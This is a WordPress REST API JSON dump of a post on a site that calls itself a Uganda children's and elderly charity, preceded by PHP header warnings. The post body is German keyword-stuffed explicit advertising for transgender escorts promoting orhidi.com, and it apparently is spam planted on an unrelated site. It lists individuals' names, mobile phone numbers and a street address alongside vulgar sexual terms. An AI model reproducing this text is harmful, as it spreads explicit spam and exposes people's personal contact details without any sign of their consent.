Warning: Cannot modify header information - headers already sent by (output started at /home/u125554008/domains/aimecu.org/public_html/wp-content/plugins/kirki/kirki-packages/field-typography/src/Field/Typography.php:1) in /home/u125554008/domains/aimecu.org/public_html/wp-includes/rest-api/class-wp-rest-server.php on line 1893

Warning: Cannot modify header information - headers already sent by (output started at /home/u125554008/domains/aimecu.org/public_html/wp-content/plugins/kirki/kirki-packages/field-typography/src/Field/Typography.php:1) in /home/u125554008/domains/aimecu.org/public_html/wp-includes/rest-api/class-wp-rest-server.php on line 1893

Warning: Cannot modify header information - headers already sent by (output started at /home/u125554008/domains/aimecu.org/public_html/wp-content/plugins/kirki/kirki-packages/field-typography/src/Field/Typography.php:1) in /home/u125554008/domains/aimecu.org/public_html/wp-includes/rest-api/class-wp-rest-server.php on line 1893

Warning: Cannot modify header information - headers already sent by (output started at /home/u125554008/domains/aimecu.org/public_html/wp-content/plugins/kirki/kirki-packages/field-typography/src/Field/Typography.php:1) in /home/u125554008/domains/aimecu.org/public_html/wp-includes/rest-api/class-wp-rest-server.php on line 1893

Warning: Cannot modify header information - headers already sent by (output started at /home/u125554008/domains/aimecu.org/public_html/wp-content/plugins/kirki/kirki-packages/field-typography/src/Field/Typography.php:1) in /home/u125554008/domains/aimecu.org/public_html/wp-includes/rest-api/class-wp-rest-server.php on line 1893

Warning: Cannot modify header information - headers already sent by (output started at /home/u125554008/domains/aimecu.org/public_html/wp-content/plugins/kirki/kirki-packages/field-typography/src/Field/Typography.php:1) in /home/u125554008/domains/aimecu.org/public_html/wp-includes/rest-api/class-wp-rest-server.php on line 1893

Warning: Cannot modify header information - headers already sent by (output started at /home/u125554008/domains/aimecu.org/public_html/wp-content/plugins/kirki/kirki-packages/field-typography/src/Field/Typography.php:1) in /home/u125554008/domains/aimecu.org/public_html/wp-includes/rest-api/class-wp-rest-server.php on line 1893

Warning: Cannot modify header information - headers already sent by (output started at /home/u125554008/domains/aimecu.org/public_html/wp-content/plugins/kirki/kirki-packages/field-typography/src/Field/Typography.php:1) in /home/u125554008/domains/aimecu.org/public_html/wp-includes/rest-api/class-wp-rest-server.php on line 1893
{"id":22346,"date":"2024-12-23T00:00:00","date_gmt":"2024-12-23T00:00:00","guid":{"rendered":"https:\/\/aimecu.org\/?p=22346"},"modified":"2024-12-23T10:59:50","modified_gmt":"2024-12-23T10:59:50","slug":"escort-ts-stuttgart-heise-verfuhrung","status":"publish","type":"post","link":"https:\/\/aimecu.org\/escort-ts-stuttgart-heise-verfuhrung\/","title":{"rendered":"Escort Ts Stuttgart – Hei\u00dfe Verf\u00fchrung"},"content":{"rendered":"

Transgender Escort – Deutschland<\/h2>\n<\/p>\n

F\u00fcr eine authentische und einmalige deutsche Erfahrung, unser freundlicher, aufregendes und attraktives Trans Escort kann Ihnen das genau bieten. Wenn Sie auf der Suche nach einer sch\u00f6nen M\u00f6glichkeit sind, Ihre langweiligen N\u00e4chte in Deutschland aufregender zu machen, dann sind unsere reizenden Trans-K\u00e4tzchen die besten Personen zum Zeitverbringen.<\/p>\n<\/p>\n<\/p>\n

Transen auf TS Dating werden als die besten Begleiter angesehen, w\u00e4hrend Sie Deutschland bereisen und erkunden, hoch empfohlen. Ob Sie einen kurzen Trip oder eine Dienstreise nach Deutschland planen, denken Sie daran, einen unserer sexy Transvestiten zu buchen, denn sie werden Sie in k\u00fcrzester Zeit st\u00f6hnen machen. Willst du nach einem langen Tag eine erf\u00fcllende Nacht erleben? Dann ist eine leidenschaftliche und erotische Nacht mit unseren Transsexuellen Escorts in Berlin der beste Weg, es zu tun, denn sie sind die besten in ganz Europa, da sie Meister der Erotik sind. So halten Sie sich fest, w\u00e4hrend Sie Ihre Sinne beleben in einer atemberaubenden sexuellen Eskapade mit unseren sinnlichen Transsexuellen Escorts aus M\u00fcnchen.<\/p>\n<\/p>\n<\/p>\n

Top Trans Escort Model<\/h2>\n<\/p>\n<\/p>\n\n<\/p>\n\n<\/p>\n

\n<\/p>\n

\n<\/p>\n

\n<\/p>\n

\n<\/p>\n

\n<\/p>\n

\n<\/p>\n

\n<\/p>\n

\n<\/p>\n

\n<\/p>\n

TS Pamela Ts Pamela PARTY 24 Stunden augsburg models, models augsburg, huren augsburg, nutten augsburg, sex in augsburg, model augsburg, augsburg model, nuten augsburg, hure augsburg<\/th>\nTS Pamela schlampe, augsburg models, models augsburg, augsburg model, sex in augsburg, fotze augsburg, huren augsburg<\/td>\n<\/p>\n<\/tr>\n<\/p>\n
TS Dulce XX<\/th>\nTS Dulce XX in Hamburg – 017629214956 <\/td>\n<\/p>\n<\/tr>\n<\/p>\n
Amy Amarah<\/th>\nAmy Amarah in Hamburg – +4917634458772 <\/td>\n<\/p>\n<\/tr>\n<\/p>\n
TS AMARANTA XXL News: ***Geiler SERVICE! Nicht verpassen*** TS AMARANTA XXL sex in Augsburg, huren in Augsburg, GV in Augsburg,<\/th>\nTS AMARANTA XXL nutten ficken, Infos sexclubs, Sexguide, hurenguide,<\/td>\n<\/p>\n

https:\/\/orhi-di.com\/s\/models\/de-bw\/stuttgart\/trans<\/a> <\/tr>\n<\/p>\n

TS Brandy Hammer Brandneu: Du hast die Leidenschaft – ich das heftige verlangen augsburgs models, augsburger Trans, shemale, rotlichtguide.de gay modelle, blasen, huren in augsburg ficken<\/th>\nTS Brandy Hammer schwanz, Transen ficken, arschfick, augsburg-models.com ,sperma,blasen<\/td>\n<\/p>\n<\/tr>\n<\/p>\n
Trans Tyra Lux Top Tipp: Brandneu In Augsbuug und nur f\u00fcr kurze Zeit f\u00fcr dich da!!!! ficken in Augsburg gubener strasse 1<\/th>\nTrans Tyra Lux 69, anal, hurensex, ficken, lecken, bumsen, sex, blasen<\/td>\n<\/p>\n<\/tr>\n<\/p>\n
Ts Valentina Party Brandneu: TS VALENTINA CASANOVA! NEU NEU NEU sex in augsburg, huren in augsburg, hure augsburg, geiler fick augsburg, transen augsburg<\/th>\nTs Valentina Party schlampe, hure, huren augsburg, nutten augsburg, nutte augsburg, geiler fick<\/td>\n<\/p>\n<\/tr>\n<\/p>\n
Trans Melany<\/th>\nTrans Melany in Bendorf – 01521876478 <\/td>\n<\/p>\n<\/tr>\n<\/p>\n
TS Rafaella Wieder da: Diese hei\u00dfe Trans wird Dich begeistern….<\/th>\nTS Rafaella<\/td>\n<\/p>\n<\/tr>\n<\/p>\n
TS Lorena XL4<\/th>\nTS Lorena XL4 in D\u00fcsseldorf – 017636134615 <\/td>\n<\/p>\n<\/tr>\n<\/p>\n<\/p>\n<\/p>\n<\/p>\n<\/table>\n<\/p>\n<\/p>\n

Hier erwartet Sie etwas ganz Besonderes!<\/h2>\n<\/p>\n

Der Charme des Unbekannten kann die Leidenschaft unermesslich steigern. Eine reizende Dame tritt ein, eingepackt in feinste Spitze, ein herrliches Dekollet\u00e9 erscheint aus der Korsage und die zarte Haut l\u00e4dt zum Vernaschen ein – als Bonus, finden Sie eine zarte, aber harte \u00dcberraschung zwischen ihren Beinen. Es erwarten einen die sch\u00f6nsten Vorz\u00fcge beider Geschlechter, die das Liebesspiel zu einem unglaublichen Erlebnis machen, auch Anf\u00e4nger werden hier z\u00e4rtlich in die mysteri\u00f6se, verrucht anmutende Welt der TS Damen eingef\u00fchrt. Auf ORHIDI.com kann man die sch\u00f6nsten TS-Damen finden. Finden Sie in den vielen aktuellen Anzeigen eine rassige Sch\u00f6nheit, die Ihre geheimsten W\u00fcnsche erf\u00fcllt \u2013 direkt aus Ihrer Umgebung! Noch mehr Anzeigen f\u00fcr Escort und Dominas finden Sie auf ORHIDI.com!<\/p>\n<\/p>\n<\/p>\n

Welche Leistungen bieten Trans-Huren an?<\/h2>\n<\/p>\n

Von der sinnlichen Masseurin bis zur strengen Domina \u2013 Trans-Escorts k\u00f6nnen in jede m\u00f6gliche sinnliche Rolle schl\u00fcpfen. Grunds\u00e4tzlich bieten sie die gleichen Dienstleistungen wie \u201enormale\u201d Sexarbeiterinnen. Besonders beliebte Angebote von TS-Nutten sind:<\/p>\n<\/p>\n

    \n<\/p>\n
  • Analverkehr<\/li>\n<\/p>\n
  • 69<\/li>\n<\/p>\n
  • Blowjobs<\/li>\n<\/p>\n
  • Brust-Verkehr<\/li>\n<\/p>\n
  • Doggy<\/li>\n<\/p>\n
  • Erotische Massage<\/li>\n<\/p>\n
  • Dirty Talk<\/li>\n<\/p>\n
  • Girlfriend-Erlebnis<\/li>\n<\/p>\n
  • Spanking \/ BDSM<\/li>\n<\/p>\n<\/ul>\n<\/p>\n

    Nat\u00fcrlich bieten Trans-Escorts auch Abendbegleitungen an.<\/p>\n<\/p>\n<\/p>\n

    Orhidi.com – Die ganze Welt der Erotik <\/h2>\n<\/p>\n

    Die Orhidi.com-Erotikanzeigenportale ziehen monatlich \u00fcber 10 Millionen Besucher an und expandieren weiter. Damit sind wir der reichweitenst\u00e4rkste Rotlichtguide in Deutschland und bieten die gr\u00f6\u00dfte Auswahl an Hostessen, Modell-, FKK-Club-, Escortservice und Erotikmassageanzeigen bundesweit. Durchschlagender Erfolg f\u00fcr deine Erotikanzeige und garantiert etwas f\u00fcr jeden Besucher.<\/p>\n<\/p>\n<\/p>\n

    TS Lady sucht XXX, rund um die Uhr: Im Tsladies Transen-Forum kann man die attraktivsten Tranny TS-Ladies und Sexy XXXL Transen f\u00fcr einen Trans-Fick finden. W\u00e4hle aus zahlreichen aktuellen Kontaktanzeigen eine rassige Transgirl Modell-Sch\u00f6nheit aus, die deine diskreten Transen Sex Fantasien wahr werden l\u00e4sst \u2013 direkt aus deiner Region! Ein bisschen gay geht immer! \ud83d\ude42 Mehr auf Trans Ladies aus allen Regionen.<\/p>\n<\/p>\n<\/p>\n

    Oben Frau unten Mann, die perfekte Mischung f\u00fcr ein geiles Sex-Abenteuer. Bei Orhidi.com findest du die sch\u00e4rfsten Shemale Escorts. Die Erfahrung, einen sexy Ladyboy in allen Regionen beim fesselnden ts dating zu vernaschen, ist unbeschreiblich. Genie\u00dfe einen engen Transen-Po oder lass dein bestes St\u00fcck von einem Transmodell richtig pflegen. Mit attraktiven Br\u00fcsten und hartem Schwanz erwarten dich die Tsladies Huren in allen Regionen.<\/p>\n<\/p>\n<\/p>\n

    Sind TS-Huren auch in Bordellen zu finden?<\/h2>\n<\/p>\n

    Transen-Bordell oder FKK-Club? Laufhaus oder gehobener Club? In welcher erotischen Location kannst du Sex mit einer Trans-Lady haben?<\/p>\n<\/p>\n

    Tatsache ist: Die meisten Transsexuellen arbeiten als unabh\u00e4ngige Escorts. Trotzdem gibt es auch in einigen Clubs und Puffs ein entsprechendes Angebot: Im K\u00f6lner Bordell Pascha gibt es beispielsweise im 7. Stockwerk eine eigene Trans-Etage.<\/p>\n<\/p>\n

    Wenn m\u00f6glich, solltest du vorab telefonisch ein Date mit einer Trans-Hure vereinbaren. Die meisten transsexuellen Sexarbeiterinnen haben n\u00e4mlich gut zu tun und sind nicht selten schon einige Tage im Voraus ausgebucht.<\/p><\/p>\n","protected":false},"excerpt":{"rendered":"

    Transgender Escort – Deutschland F\u00fcr eine authentische und einmalige deutsche Erfahrung, unser freundlicher, aufregendes und attraktives Trans Escort kann Ihnen das genau bieten. Wenn Sie auf der Suche nach einer […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[325],"tags":[],"class_list":["post-22346","post","type-post","status-publish","format-standard","hentry","category-blog","entry"],"acf":[],"yoast_head":"\nEscort Ts Stuttgart - Hei\u00dfe Verf\u00fchrung - Bridging the Gap in Buyende<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/aimecu.org\/escort-ts-stuttgart-heise-verfuhrung\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Escort Ts Stuttgart - Hei\u00dfe Verf\u00fchrung - Bridging the Gap in Buyende\" \/>\n<meta property=\"og:description\" content=\"Transgender Escort – Deutschland F\u00fcr eine authentische und einmalige deutsche Erfahrung, unser freundlicher, aufregendes und attraktives Trans Escort kann Ihnen das genau bieten. Wenn Sie auf der Suche nach einer […]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/aimecu.org\/escort-ts-stuttgart-heise-verfuhrung\/\" \/>\n<meta property=\"og:site_name\" content=\"Bridging the Gap in Buyende\" \/>\n<meta property=\"article:published_time\" content=\"2024-12-23T00:00:00+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2024-12-23T10:59:50+00:00\" \/>\n<meta name=\"author\" content=\"smogcoders\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"smogcoders\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"4 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/aimecu.org\/escort-ts-stuttgart-heise-verfuhrung\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/aimecu.org\/escort-ts-stuttgart-heise-verfuhrung\/\"},\"author\":{\"name\":\"smogcoders\",\"@id\":\"https:\/\/aimecu.org\/#\/schema\/person\/fac29e427d919f57610c0a2b535748bb\"},\"headline\":\"Escort Ts Stuttgart – Hei\u00dfe Verf\u00fchrung\",\"datePublished\":\"2024-12-23T00:00:00+00:00\",\"dateModified\":\"2024-12-23T10:59:50+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/aimecu.org\/escort-ts-stuttgart-heise-verfuhrung\/\"},\"wordCount\":892,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\/\/aimecu.org\/#organization\"},\"articleSection\":[\"blog\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\/\/aimecu.org\/escort-ts-stuttgart-heise-verfuhrung\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/aimecu.org\/escort-ts-stuttgart-heise-verfuhrung\/\",\"url\":\"https:\/\/aimecu.org\/escort-ts-stuttgart-heise-verfuhrung\/\",\"name\":\"Escort Ts Stuttgart - Hei\u00dfe Verf\u00fchrung - Bridging the Gap in Buyende\",\"isPartOf\":{\"@id\":\"https:\/\/aimecu.org\/#website\"},\"datePublished\":\"2024-12-23T00:00:00+00:00\",\"dateModified\":\"2024-12-23T10:59:50+00:00\",\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/aimecu.org\/escort-ts-stuttgart-heise-verfuhrung\/\"]}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/aimecu.org\/#website\",\"url\":\"https:\/\/aimecu.org\/\",\"name\":\"Bridging the Gap in Buyende\",\"description\":\"Bridging the Gap in Buyende - dedicated to providing essential support and resources to vulnerable children and elderly people in Uganda\",\"publisher\":{\"@id\":\"https:\/\/aimecu.org\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/aimecu.org\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\/\/aimecu.org\/#organization\",\"name\":\"Bridging the Gap in Buyende\",\"url\":\"https:\/\/aimecu.org\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/aimecu.org\/#\/schema\/logo\/image\/\",\"url\":\"https:\/\/aimecu.org\/wp-content\/uploads\/2020\/08\/aimecu-logo1.png\",\"contentUrl\":\"https:\/\/aimecu.org\/wp-content\/uploads\/2020\/08\/aimecu-logo1.png\",\"width\":350,\"height\":100,\"caption\":\"Bridging the Gap in Buyende\"},\"image\":{\"@id\":\"https:\/\/aimecu.org\/#\/schema\/logo\/image\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\/\/aimecu.org\/#\/schema\/person\/fac29e427d919f57610c0a2b535748bb\",\"name\":\"smogcoders\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/aimecu.org\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/1eb542672f610f494b305f6571ee4476?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/1eb542672f610f494b305f6571ee4476?s=96&d=mm&r=g\",\"caption\":\"smogcoders\"},\"sameAs\":[\"https:\/\/aimecu.org\"],\"url\":\"https:\/\/aimecu.org\/author\/smogcoders\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Escort Ts Stuttgart - Hei\u00dfe Verf\u00fchrung - Bridging the Gap in Buyende","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/aimecu.org\/escort-ts-stuttgart-heise-verfuhrung\/","og_locale":"en_US","og_type":"article","og_title":"Escort Ts Stuttgart - Hei\u00dfe Verf\u00fchrung - Bridging the Gap in Buyende","og_description":"Transgender Escort – Deutschland F\u00fcr eine authentische und einmalige deutsche Erfahrung, unser freundlicher, aufregendes und attraktives Trans Escort kann Ihnen das genau bieten. Wenn Sie auf der Suche nach einer […]","og_url":"https:\/\/aimecu.org\/escort-ts-stuttgart-heise-verfuhrung\/","og_site_name":"Bridging the Gap in Buyende","article_published_time":"2024-12-23T00:00:00+00:00","article_modified_time":"2024-12-23T10:59:50+00:00","author":"smogcoders","twitter_card":"summary_large_image","twitter_misc":{"Written by":"smogcoders","Est. reading time":"4 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/aimecu.org\/escort-ts-stuttgart-heise-verfuhrung\/#article","isPartOf":{"@id":"https:\/\/aimecu.org\/escort-ts-stuttgart-heise-verfuhrung\/"},"author":{"name":"smogcoders","@id":"https:\/\/aimecu.org\/#\/schema\/person\/fac29e427d919f57610c0a2b535748bb"},"headline":"Escort Ts Stuttgart – Hei\u00dfe Verf\u00fchrung","datePublished":"2024-12-23T00:00:00+00:00","dateModified":"2024-12-23T10:59:50+00:00","mainEntityOfPage":{"@id":"https:\/\/aimecu.org\/escort-ts-stuttgart-heise-verfuhrung\/"},"wordCount":892,"commentCount":0,"publisher":{"@id":"https:\/\/aimecu.org\/#organization"},"articleSection":["blog"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/aimecu.org\/escort-ts-stuttgart-heise-verfuhrung\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/aimecu.org\/escort-ts-stuttgart-heise-verfuhrung\/","url":"https:\/\/aimecu.org\/escort-ts-stuttgart-heise-verfuhrung\/","name":"Escort Ts Stuttgart - Hei\u00dfe Verf\u00fchrung - Bridging the Gap in Buyende","isPartOf":{"@id":"https:\/\/aimecu.org\/#website"},"datePublished":"2024-12-23T00:00:00+00:00","dateModified":"2024-12-23T10:59:50+00:00","inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/aimecu.org\/escort-ts-stuttgart-heise-verfuhrung\/"]}]},{"@type":"WebSite","@id":"https:\/\/aimecu.org\/#website","url":"https:\/\/aimecu.org\/","name":"Bridging the Gap in Buyende","description":"Bridging the Gap in Buyende - dedicated to providing essential support and resources to vulnerable children and elderly people in Uganda","publisher":{"@id":"https:\/\/aimecu.org\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/aimecu.org\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/aimecu.org\/#organization","name":"Bridging the Gap in Buyende","url":"https:\/\/aimecu.org\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/aimecu.org\/#\/schema\/logo\/image\/","url":"https:\/\/aimecu.org\/wp-content\/uploads\/2020\/08\/aimecu-logo1.png","contentUrl":"https:\/\/aimecu.org\/wp-content\/uploads\/2020\/08\/aimecu-logo1.png","width":350,"height":100,"caption":"Bridging the Gap in Buyende"},"image":{"@id":"https:\/\/aimecu.org\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/aimecu.org\/#\/schema\/person\/fac29e427d919f57610c0a2b535748bb","name":"smogcoders","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/aimecu.org\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/1eb542672f610f494b305f6571ee4476?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/1eb542672f610f494b305f6571ee4476?s=96&d=mm&r=g","caption":"smogcoders"},"sameAs":["https:\/\/aimecu.org"],"url":"https:\/\/aimecu.org\/author\/smogcoders\/"}]}},"_links":{"self":[{"href":"https:\/\/aimecu.org\/wp-json\/wp\/v2\/posts\/22346","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/aimecu.org\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/aimecu.org\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/aimecu.org\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/aimecu.org\/wp-json\/wp\/v2\/comments?post=22346"}],"version-history":[{"count":1,"href":"https:\/\/aimecu.org\/wp-json\/wp\/v2\/posts\/22346\/revisions"}],"predecessor-version":[{"id":22347,"href":"https:\/\/aimecu.org\/wp-json\/wp\/v2\/posts\/22346\/revisions\/22347"}],"wp:attachment":[{"href":"https:\/\/aimecu.org\/wp-json\/wp\/v2\/media?parent=22346"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/aimecu.org\/wp-json\/wp\/v2\/categories?post=22346"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/aimecu.org\/wp-json\/wp\/v2\/tags?post=22346"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}